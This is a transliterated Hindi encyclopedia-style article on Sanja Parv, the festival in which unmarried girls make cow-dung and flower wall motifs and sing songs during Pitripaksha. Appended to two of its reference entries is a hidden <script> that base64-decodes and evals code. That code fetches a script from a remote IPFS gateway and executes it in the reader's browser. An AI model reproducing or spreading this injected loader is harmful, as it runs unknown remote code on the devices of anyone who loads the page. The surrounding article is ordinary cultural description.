संजा पर्व
sanja parv bhadrapad mah ke shukl poornima se pitrimoksh amavasya tak pitripaksh mean kuanari kanyaoan dvara manaya jane vala parv hai. yah parv mukhy roop se malava-nima d, rajasthan, gujarat aur maharashtr adi mean manaya jata hai. sanja parv mean shraddh ke solah hi din[1] kuanvari kanyaean sham ke samay ek sthan par ekatrit hokar gobar ke maandane maandati haian aur sanja ke git gati haian v sanja ki arati kar prasad baantati haian. solah hi din tak kuanvari kanyaean gobar ke alag-alag maandane maandati hai tatha har din ka ek alag git bhi hota hai.
sanja ka nirman
ganesh visarjan ke doosare din yani poonam ko malava, nima d aur rajasthan ki kishoriyoan ki sakhi-saheli sanja mayake padharati haian. 'sanja' yani smritiyoan aur agat ke adbhut sangam ka parv. ek or purakhoan ki yadean to doosari or kishoriyoan ke man mean vivah ki kamana. yogy var ki chahat rakhane vali kuanvari kishoriyaan srijan aur visarjan ke is parv ko pitripaksh ke solah dinoan tak b de chav se manati haian. sanja ki solah paranparik akritiyaan gobar, phool, patti aur panniyoan se banati haian. sanja ke dinoan mean taje hare gobar ko dhooandhane mean b di kathinaee hoti hai, par jaise hi gobar mil jata hai prasannachit l dakiyoan ki khoji nigahean dhooandhati haian, chaandani ke doodhiya-saphed, kaner ke pile, gulabi aur desi lal rang ke gulab ke phooloan ko. sanja ke nam par kabhi maangakar, to kabhi churakar lae ge phooloan aur gobar ke milane par asali kary shuroo hota hai. ghar ki bahari divar ke kisi kone mean pani chhi dakakar chhote-se hisse ko gobar se lipa jata hai aur is par poonam ko pataloan, bij ko bijaroo, chhath ki chhab di, satami ko saantiyo se lekar amavasya tak ke solah dinoan mean paranparik akritiyaan banaee jati haian. aantim din banata hai- 'kilakot'.
gan
gobar se ukeri aur phooloan se saji akritiyoan ko dekhakar l dakiyaan kisi kalakar ki tarah prasann hoti haian. unake sumadhur kanthoan se sanja ke git phoot p date haian. gheradar ghaghara aur gulabadar sa di pahanane vali, gahanoan se saji, khir-poo di khane ki shaukin, najuk saloni sanja kalpana mean tairati hai. sanja ko poojati kishoriyaan 'peli arati raee ramajhor' ka jaise hi alap leti haian to pahale se hi chaukas baithi l dakiyaan ghar se bhag chhootati haian. isake sath hi samavet gan shuroo ho jata hai-
'chhoti-si ga di gu dakati jae, gu dakati jae,
ji mean baithya sanja baee, ghagharo dhamakata jae,
choo dalo chhamakata jae,
bee ji ki nath di jhola khae,
bataee do vira piyar jae.'
alag alag nam
ganesh utsav ke bad kuanvari kanyaoan ka tyohar ata hai 'sanja'. yooan to yah bharat ke kee bhagoan mean manaya jata hai. lekin isaka nam alag hota hai, jaise- maharashtr mean gulabaee (bhoolabaee), hariyana mean 'saanjhi dhooandha', braj mean 'saanjhi', rajasthan mean 'saanjhaphooli' ya 'sanjaya'. kvar krishna paksh ki pratipada se aranbh hokar amavasya tak sham dhalane ke sath ghar ke dalan ki divar ke kone ko taje gobar se lipakar patali-patali rekhaoan par taje phool ki rang-birangi pankhu diyaan chipaka kar sanja taiyar ki jati hai.
vibhinn akritiyaan
ganesh, chaand-sooraj, devi-devataoan ke sath bijaura, katarayo pan, doodh, dahi ka vataka (katori), ladoo ghevar, ghugharo naga da, pankha, kele ka jha d, chaup d divali jhari, banya ki dukan, bajoor, killakot hota hai. malava mean 'sanja' ka kram paanch (panchami) se aranbh hota hai. paanch pache ya poonam patala se. doosare din inhean mitakar bijaur, tisare din ghevar, chauthe din chaup d aur panchami ko 'paanch kuanvare' banae jate haian. lok kahavat ke mutabik janm se chhathe din vidhata kismat ka lekha likhate haian, jisaka pratik hai chhab di. satavean din satya (svastik) ya asaman ke sitaroan mean saptrrishi, athave din 'athaphool', navean din 'vriddhatithi' hone se dokara-dokari aur dasavean din vandanavar baandhate haian. gyarahavean din kele ka pe d to barahavean din mor-morani ya jalebi ki jo d mandati hai. terahavean din shuroo hota hai kilakot, jisamean 12 din banaee gee akritiyoan ke sath nee akritiyoan ka bhi samavesh hota hai.[2]
sanja ko gulapati, geanda, gulabas ke phooloan se sajaya jata hai. sanjabaee ke kilakot mean kaua behad zaroori hai, jise subah sooraj ugane ke pahale sanja se hata diya jata hai. isake pichhe ki manyata hai ki kaua rat mean n hatane se vah sanja se vivah ke lie lalak uthata hai. pooja ke pashchath kachcha doodh, kankoo tatha kasar chhaanta jata hai. prasad ke roop mean kak di-khopara bantata hai aur shuroo hote haian sanja ke git-
'sanja maang a haro haro gobar sanja maang a haro haro gobar kase laoo bahan haro haro gobar sanja saheladi bajar mean hale va rajaji ki beti.'
mangalakari
'sanja' shabd sandhya ka hi ek lok roop hai. kuari kanyaean ise mangaladayi devi ke roop mean apane kaumary ki suraksha aur man ke anukool var ki prapti ki ichchha se manati haian. solah din solah varshoan ke pratik haian. paramparagat roop se 16 varsh ki ayu hi kanya ke vivah ke lie many rahi hai. isi karan kanyaean apani sakhi sanja ko solahavean din sasural ke liye vida karati haian. chooanki ise pitripaksh mean manaya jata hai, isaliye isamean pitri devataoan ke svagat ka bhav bhi nihit hai. sanja yooan to mitti ki divar par gobar se lip kar banaya jata hai, kintu ajakal pakki divaroan par bhi kagaz ke bane sanja chipakakar hi apani abhivyakti ki jati hai. kahian-kahian par pakke makanoan ki bahari divar bhi kanyaoan ke is kalakarm ke liye kenavas ban jati hai, jis par apani ruchi aur kshamatanusar ve sanja maandati haian. sanja bahut hi saral, sahaj aur bagair kharch ke banane vali vidya hai. isamean sanja ka koee nishchit niyat nap nahian hota, phir bhi lagabhag tin phut vargakar akar ko gobar se lip kar us par tithivar akaroan ka aankan kiya jata hai. is par gobar se uangaliyoan dvara ubhare hue akar banaye jate haian, jinako phooloan, pattiyoan, rangin kaanch ki panniyoan, kaanch ke tuk doan ityadi se sajaya jata hai. paramparagat manyata ke anusar gulatev di ke phool sajavat ke liye upayukt samajhe jate haian. sanja ki akriti ko aur jyada suandar banane ke liye haldi, kukuanm, ata, jau, gehooan ka bhi prayog kiya jata hai.[3]
sanja sirph ek paranpara nahian hai. sanja ke maandanoan tatha gitoan mean mahilaoan ke vivahit jivan se ju de kee jivan sootr chhipe hote haian, jinhean bachapan mean hi kuanvari kanyaoan ke jivan mean sanja parv ke dauran samajhane ka mauka milata hai. halaanki badalate samay ke sath is paranpara ka hras avashy hua hai, lekin aj bhi gramin kshetroan mean kuanvari kanyaean bahut hi utsah v umang ke sath sanja parv manati haian.
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tika tippani aur sandarbh
- ↑ bhadrapad poornima se ashvin amavasya tak
- ↑ jivan ko abhivyakt karata sanja parv (hindi). . abhigaman tithi: 16 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bhitti chitr parampara sanja (hindi). . abhigaman tithi: 16 agast, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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